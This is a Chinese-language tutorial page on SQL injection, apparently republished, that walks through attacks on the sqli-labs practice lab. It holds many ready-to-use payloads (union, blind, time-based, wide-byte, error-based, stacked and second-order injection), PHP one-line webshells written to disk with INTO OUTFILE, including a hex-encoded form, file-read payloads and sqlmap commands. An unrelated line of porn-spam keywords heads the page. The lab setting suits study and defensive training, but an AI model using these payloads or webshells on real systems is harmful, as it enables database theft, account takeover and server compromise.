欧美亚洲中文,在线国自产视频,欧洲一区在线观看视频,亚洲综合中文字幕在线观看

      1. <dfn id="rfwes"></dfn>
          <object id="rfwes"></object>
        1. 站長資訊網(wǎng)
          最全最豐富的資訊網(wǎng)站

          歸納整理常見SQL注入類型以及原理

          本篇文章給大家?guī)砹岁P于SQL的相關知識,其中主要介紹了常見的SQL注入類型的介紹以及原理講解,包括了聯(lián)合注入、布爾盲注、時間注入、報錯注入等等內(nèi)容,下面一起來看一下,希望對大家有幫助。

          歸納整理常見SQL注入類型以及原理

          推薦學習:《SQL教程》

          Mysql基礎

          Mysql安裝
          這里我們直接使用phpstudy集成環(huán)境中的mysql

          Mysql常用命令
          (1)mysql本地連接

          mysql -h localhost -uroot –proot

          參數(shù) 說明
          -h 表示數(shù)據(jù)庫連接地址,連接本機可不填,直接mysql -uroot -p
          -u 表示要登錄的用戶
          -p 表示使用密碼登錄
          默認賬/密:root/root
          注:登錄mysql時,-p后面不能有空格加密碼,但-p空格,后面不加值是可以的

          (2)查看所有數(shù)據(jù)庫

          show databases;

          (3)使用數(shù)據(jù)庫,注意sql語句后面要加分號

          use 數(shù)據(jù)庫名;

          (4)查看當前數(shù)據(jù)庫中的表

          show tables;

          (5)查看表中字段結構,不爆出內(nèi)容

          describe 表名;

          (6)查看表中所有字段及內(nèi)容(前提已經(jīng)use了數(shù)據(jù)庫)

          select * from 表名;

          (7)向指定目錄,如C:WWW目錄中寫入peak.php一句話木馬

          select "<?php @eval($_REQUEST[peak]);?>" into outfile "C:\WWW\peak.php";

          select 0x3c3f70687020406576616c28245f524551554553545b7065616b5d293b3f3e into outfile"C:\WWW\peak.php";

          注:
          要使用兩個,兩個到目標服務器后變?yōu)橐粋€,若使用C:WWWpeak.php,執(zhí)行后會在MYSQLdata目錄下生成WWWpeak.php文件,不是指定目錄
          另外,使用Hex編碼時,不要加""了

          (8)創(chuàng)建數(shù)據(jù)庫

          create database peak;

          (9)刪除數(shù)據(jù)庫

          drop database 庫名;

          (10)清空表

          delete from 表名;

          (11)修改root密碼

          mysqladmin -uroot -p password 新密碼

          之后輸入原密碼,即會修改成功

          (12)查詢當前數(shù)據(jù)庫所在目錄

          select @@basedir;

          (13)創(chuàng)建數(shù)據(jù)庫

          CREATE DATABASE [IF NOT EXISTS] <數(shù)據(jù)庫名>

          (14)創(chuàng)建表

          CREATE TABLE table_name (column_name column_type);

          (15)創(chuàng)建字段

          INSERT INTO users (字段名) VALUES (“字段值");

          (16)刪除表中數(shù)據(jù)

          DELETE FROM <表名> [WHERE 子句] [ORDER BY 子句] [LIMIT 子句]

          關鍵信息剖析
          (1)information_schema

          在MySQL中,把 information_schema 看作是一個數(shù)據(jù)庫,確切說是信息數(shù)據(jù)庫。其中保存著關于MySQL服務器所維護的所有其他數(shù)據(jù)庫的信息。如數(shù)據(jù)庫名,數(shù)據(jù)庫的表,表欄的數(shù)據(jù)類型與訪問權限等

          (2)information_schema數(shù)據(jù)庫表常見參數(shù)說明:

          ? SCHEMATA表:提供了當前mysql實例中所有數(shù)據(jù)庫的信息。是show databases的結果取之此表。 ? TABLES表:提供了關于數(shù)據(jù)庫中的表的信息(包括視圖)。詳細表述了某個表屬于哪個schema,表類型,表引擎,創(chuàng)建時間等信息。是show tables from schemaname的結果取之此表。 ? COLUMNS表:提供了表中的列信息。詳細表述了某張表的所有列以及每個列的信息。是show columns from schemaname.tablename的結果取之此表。

          sql-labs環(huán)境搭建

          靶場環(huán)境:
          https://github.com/Audi-1/sqli-labs

          SQL注入原理

          什么是SQL注入?
          SQL注入,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執(zhí)行惡意SQL語句的目的。SQL注入漏洞的危害是巨大的,常常會導致整個數(shù)據(jù)庫被"脫褲"。盡管如此,SQL注入仍是現(xiàn)在最常見的Web漏洞之一

          SQL注入步驟
          (1)判斷是否存在注入,注入是字符型還是數(shù)字型
          (2)猜解SQL查詢語句中的字段數(shù)
          (3)判斷哪些位置字段可以注入利用
          (4)查詢數(shù)據(jù)庫(當前使用數(shù)據(jù)庫或所有數(shù)據(jù)庫)
          (5)查詢指定數(shù)據(jù)庫中的表
          (6)查詢指定表中的字段名
          (7)查詢表中字段的值

          常見SQL注入類型(細分七種類型)

          可以將SQL注入分為兩大類:
          非盲注和盲注,非盲注就是有報錯回顯,盲注就是沒有報錯回顯

          常見的SQL注入方法有:

          • 聯(lián)合注入
          • 布爾盲注
          • 時間盲注
          • 寬字節(jié)注入
          • 報錯注入
          • 堆疊注入
          • 二次注入

          數(shù)字型/字符型注入判斷
          首先id后面加單引號 查看是否可能存在sql注入,返回正常,不存在;返回不正常,存在

          假設ip/?id=1

          數(shù)字型,參數(shù)沒有被引號包圍:
          id=1 and 1=1 返回頁面正常
          id=1 and 1=2 返回頁面不正常
          id=1’ and ‘1’=‘1 返回頁面不正常
          id=1’ and ‘1’=‘2 返回頁面不正常
          字符型,參數(shù)被引號包圍:
          id=1 and 1=1 返回頁面正常或錯誤
          id=1 and 1=2 返回頁面正?;蝈e誤
          id=1’ and ‘1’=‘1 返回頁面正常
          id=1’ and ‘1’='2 返回頁面不正常
          總結出兩種測試方法:
          and 1=1正常,1=2不正常,可能存在數(shù)字型注入/and 1=1正常或錯誤,1=2正常或錯誤,可能存在字符型注入
          ’ and ‘1’=‘1不正常,’ and ‘1’=‘2不正常,可能存在數(shù)字行注入/’ and ‘1’=‘1正常,’ and ‘1’='2不正常,可能存在字符型注入

          0x01:聯(lián)合注入

          原理
          (1)union select定義
          將多個SELECT語句的結果合并到一個結果集中
          (2)mysql直觀測試

          SELECT * FROM users WHERE id='1' union select * from users where id=2;

          測試環(huán)境
          Pass-1

          相關函數(shù)

          • group_concat(參數(shù)1,參數(shù)2,參數(shù)3等等無數(shù)個參數(shù))語法: group_concat函數(shù)返回一個字符串結果(就是返回一行),該結果由括號中的各個參數(shù)值執(zhí)行然后連接組合而成
          • char():還原ASCII碼為字符

          注入過程
          1、首先判斷目標是否存在sql注入,是什么類型的sql注入

          http://127.0.0.1/sqli-labs/Less-1/?id=1                       //返回正確 http://127.0.0.1/sqli-labs/Less-1/?id=1'	          //返回錯誤,可能存在SQL注入 http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1        //返回正確 http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2        //返回正確 http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1       //返回錯誤 http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2       //返回錯誤  由此可見,$id后面可能還有sql語句 http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+ //返回正確 http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 --+ //返回錯誤 由此可見,目標存在sql注入,并且是字符型,該id變量后面還有其他的sql語句 此時我們看一下源碼,是否是字符型

          2、測試步驟
          (1)使用union select猜測目標SQL查詢語句中select后面的字段數(shù)量,同時也測出了目標哪些位置的字段可以繼續(xù)利用

          (2)判斷方法:回顯錯誤表示不止當前字段數(shù),回顯正確表示就是這么多字段數(shù)
          Payload:http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3%23
          注:這里的and 1=2是為了就將正確的id=1不顯示,返回錯誤,顯示后面union select語句的值,因為有時目標網(wǎng)站設置只回顯一條數(shù)據(jù)庫語句,容易造成判斷失誤
          結果:這里SQL查詢語句中select后面的字段數(shù)量是3個,2,3字段可以利用

          (3)Payload

          http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database(),3%23  http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23  http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23  http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23  http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

          (4)拓展
          還有一種方法,order by判斷字段數(shù)

          http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 order by 1%23

          具體情況具體分析

          0x02:布爾盲注

          原理
          Web的頁面的僅僅會返回True和False,那么布爾盲注就是根據(jù)頁面返回的True或者是False來得到數(shù)據(jù)庫中的相關信息

          測試環(huán)境
          Pass-8

          相關函數(shù)解析
          (1)length:返回值為字符串的字節(jié)長度
          (2)ascii:把字符轉換成ascii碼值的函數(shù)
          (3)substr(str, pos, len):在str中從pos開始的位置(起始位置為1),截取len個字符
          (4)count:統(tǒng)計表中記錄的一個函數(shù),返回匹配條件的行數(shù)
          (5)limit:
          limit m :檢索前m行數(shù)據(jù),顯示1-10行數(shù)據(jù)(m>0)
          limit(x,y):檢索從x+1行開始的y行數(shù)據(jù)

          注入過程
          1、判斷數(shù)據(jù)庫名稱長度

          http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length(database()))=8%23

          2、猜解數(shù)據(jù)庫名

          http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,3,1))) = 99%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,4,1))) = 117%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121%23

          3、判斷數(shù)據(jù)庫中表的數(shù)量

          http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4%23

          4、猜解其中第四個表名的長度

          http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5%23

          5、猜解第四個表名

          http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 117%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 101%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 114%23 http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23 第四個表名為users

          6、判斷users表中字段數(shù)量

          http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3%23

          7、判斷第二個字段長度

          http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=8%23

          8、猜解第二個字段名稱

          http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117%23 ... 第二個字段名稱為username 注:substr(參數(shù)1,參數(shù)2,參數(shù)3),參數(shù)2中0和1都可表示從第一位字符開始,但這里只可以用1,0不可以,可能和數(shù)據(jù)庫版本有關

          9、猜解指定字段中值的數(shù)量

          http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(username)from users)=13%23

          10、猜解第一個字段中第一個值的長度

          http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select username from users limit 0,1))=4%23

          11、猜解第一個字段中第一個值的名稱

          http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68%23 ... 最后的值為Dumb

          0x03:時間盲注

          原理
          時間盲注的一般思路是延遲注入,就是利用sleep()或benchmark()等函數(shù)讓mysql執(zhí)行時間變長并結合判斷條件語句if(expr1,expr2,expr3),然后通過頁面的響應時間長短來判斷語句返回的值是True還是False,從而猜解一些未知的字段

          測試環(huán)境
          Less-9

          相關函數(shù)
          if(expr1,expr2,expr3): expr1的值為TRUE,則返回值為expr2 ;expr1的值為FALSE,則返回值為expr3
          sleep(n):延遲響應時間n秒

          Payload

          http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(1=1,sleep(4),null)%23 http://127.0.0.1/sqli-labs/Less-9/?id=1' and (length(database()))=8 and if(1=1,sleep(4),null)%23 http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select database()),1,1))) =115 and if(1=1,sleep(4),null)%23

          0x04:寬字節(jié)注入

          原理
          當存在寬字節(jié)注入的時候,注入?yún)?shù)里帶入%df%27,即可把(%5c)吃掉,也就是%df和%5c結合成了漢字運

          測試環(huán)境
          Pass-32

          Payload

          http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,2,3%23 http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23 http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23 http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23 http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

          0x05:報錯注入

          原理
          報錯注入是通過特殊函數(shù)錯誤使用并使其輸出錯誤結果來獲取信息的。

          測試環(huán)境
          Pass-5

          相關函數(shù)

          concat()函數(shù):用于將多個字符串連接成一個字符串 floor(x) 函數(shù):返回小于 x 的最大整數(shù)值 rand()函數(shù)調(diào):用可以在0和1之間產(chǎn)生一個隨機數(shù) group by語句:根據(jù)一個或多個列對結果集進行分組 updatexml(目標xml文檔,xml路徑,更新的內(nèi)容):更新xml文檔的函數(shù),xpath_expr: 需要更新的xml路徑(Xpath格式) new_xml: 更新后的內(nèi)容 此函數(shù)用來更新選定XML片段的內(nèi)容,將XML標記的給定片段的單個部分替換為 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替換的部分 與xpath_expr 用戶提供的XPath表達式匹配。 extractvalue(目標xml文檔,xml路徑):對XML文檔進行查詢的函數(shù),一個XML標記片段 xml_frag和一個XPath表達式 xpath_expr(也稱為 定位器); 它返回CDATA第一個文本節(jié)點的text(),該節(jié)點是XPath表達式匹配的元素的子元素。第一個參數(shù)可以傳入目標xml文檔,第二個參數(shù)是用Xpath路徑法表示的查找路徑,第二個參數(shù) xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,并且會返回我們寫入的非法格式內(nèi)容,而這個非法的內(nèi)容就是我們想要查詢的內(nèi)容

          參考
          https://blog.51cto.com/wt7315/1891458

          0x05-1:floor報錯注入

          Payload

          http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

          0x05-2:updatexml報錯注入

          Payload

          http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(database()),'~'),3)%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3)%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3)%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23

          0x05-3:extractvalue報錯注入

          Payload

          http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat(0x7e,(database()),0x7e))%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'))%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'))%23 http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select username from users limit 0,1),'~'))%23

          0x06:堆疊注入

          原理
          堆疊注入與受限于select語句的聯(lián)合查詢法相反,堆疊注入可用于執(zhí)行任意SQL語句。簡單地說就是MYSQL的多語句查詢
          堆疊注入的局限性:堆疊注入并不是在任何換環(huán)境下都可以執(zhí)行的,可能受到API或者數(shù)據(jù)庫引擎不支持的限制(如Oracle數(shù)據(jù)庫),也有可能權限不足。web系統(tǒng)中,因為代碼通常只返回一個查詢結果,因此堆疊注入第二個語句產(chǎn)生錯誤或者結果只能被忽略,我們在前端界面是無法看到返回結果的。

          測試環(huán)境
          Pass-38

          Payload

          http://127.0.0.1/sqli-labs/Less-38/?id=1';create database peak%23

          0x07:二次注入

          原理
          二次注入可以理解為,攻擊者構造的惡意數(shù)據(jù)存儲在數(shù)據(jù)庫后,惡意數(shù)據(jù)被讀取并進入到SQL查詢語句所導致的注入。防御者可能在用戶輸入惡意數(shù)據(jù)時對其中的特殊字符進行了轉義處理,但在惡意數(shù)據(jù)插入到數(shù)據(jù)庫時被處理的數(shù)據(jù)又被還原并存儲在數(shù)據(jù)庫中(比如雖然參數(shù)在過濾后會添加"“進行轉義,但是”"并不會插入到數(shù)據(jù)庫中),當Web程序調(diào)用存儲在數(shù)據(jù)庫中的惡意數(shù)據(jù)并執(zhí)行SQL查詢時,就發(fā)生了SQL二次注入。
          二次注入,可以概括為以下兩步:

          第一步:插入惡意數(shù)據(jù)
          進行數(shù)據(jù)庫插入數(shù)據(jù)時,對其中的特殊字符進行了轉義處理,在寫入數(shù)據(jù)庫的時候又保留了原來的數(shù)據(jù)。

          第二步:引用惡意數(shù)據(jù)
          開發(fā)者默認存入數(shù)據(jù)庫的數(shù)據(jù)都是安全的,在進行查詢時,直接從數(shù)據(jù)庫中取出惡意數(shù)據(jù),沒有進行進一步的檢驗的處理。

          歸納整理常見SQL注入類型以及原理
          測試環(huán)境
          Pass-24

          Payload
          (1)先創(chuàng)建一個含有注釋符的用戶 amin’#
          (2)看下數(shù)據(jù)庫,成功添加了記錄
          (3)源碼sql語句分析:

          原SQL語句:UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' 修改密碼sql語句:UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' 最后真正執(zhí)行的sql語句:UPDATE users SET PASSWORD=‘$pass’ where username='admin'

          (4)最后修改admin’#的密碼
          (5)成功修改admin的密碼

          SQL注入-文件讀寫

          原理
          利用文件的讀寫權限進行注入,它可以寫入一句話木馬,也可以讀取系統(tǒng)文件的敏感信息

          利用條件
          secure_file_priv這個參數(shù)用來限制數(shù)據(jù)導入和導出
          secure_file_priv=
          代表對文件讀寫沒有限制
          secure_file_priv=NULL
          代表不能進行文件讀寫
          secure_file_priv=F:
          代表只能對該路徑下文件進行讀寫

          查看方法:show global variables like ‘%secure%’;
          修改方法:my.ini函數(shù),沒有的話就直接添加

          相關函數(shù)
          load_file():讀取文件
          into outfile:寫入文件

          測試環(huán)境
          Pass-1

          讀文件
          http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,load_file(‘F:1.txt’),3%23

          寫文件
          http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,’<?php @eval($_POST["cmd"]);?>’,3 into outfile ‘F:2.php’%23

          sqlmap常見參數(shù)

          sqlmap下載地址
          http://sqlmap.org/

          常用參數(shù)

          -u:指定含有參數(shù)的URL --dbs:爆出數(shù)據(jù)庫 --batch:默認選擇執(zhí)行 --random-agent:使用隨機user-agent -r:POST注入 --level:注入等級,一共有5個等級(1-5) 不加 level 時,默認是1,5級包含的payload最多,會自動破解出cookie、XFF等頭部注入,相對應他的速度也比較慢 --timeout:設定重試超時 --cookie:設置cookie信息 --flush-session:刪除指定目標緩存,重新對該目標進行測試 --tamper:使用waf繞過腳本 --time-sec:設定延時時間,默認是5秒 --thread:多線程,默認為1,最大為10 --keep-live: sqlmap默認是一次連接成功后馬上關閉;HTTP報文中相當于Connection: Close(一次連接馬上關閉)。要掃描站點的URL比較多時,這樣比較耗費性能,所以需要將HTTP連接持久化來提高掃描性能;HTTP報文相當于Connection: Keep-Alive

          示例

          py -3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --dbs --random-agent --batch

          推薦學習:《SQL教程》

          贊(0)
          分享到: 更多 (0)
          網(wǎng)站地圖   滬ICP備18035694號-2    滬公網(wǎng)安備31011702889846號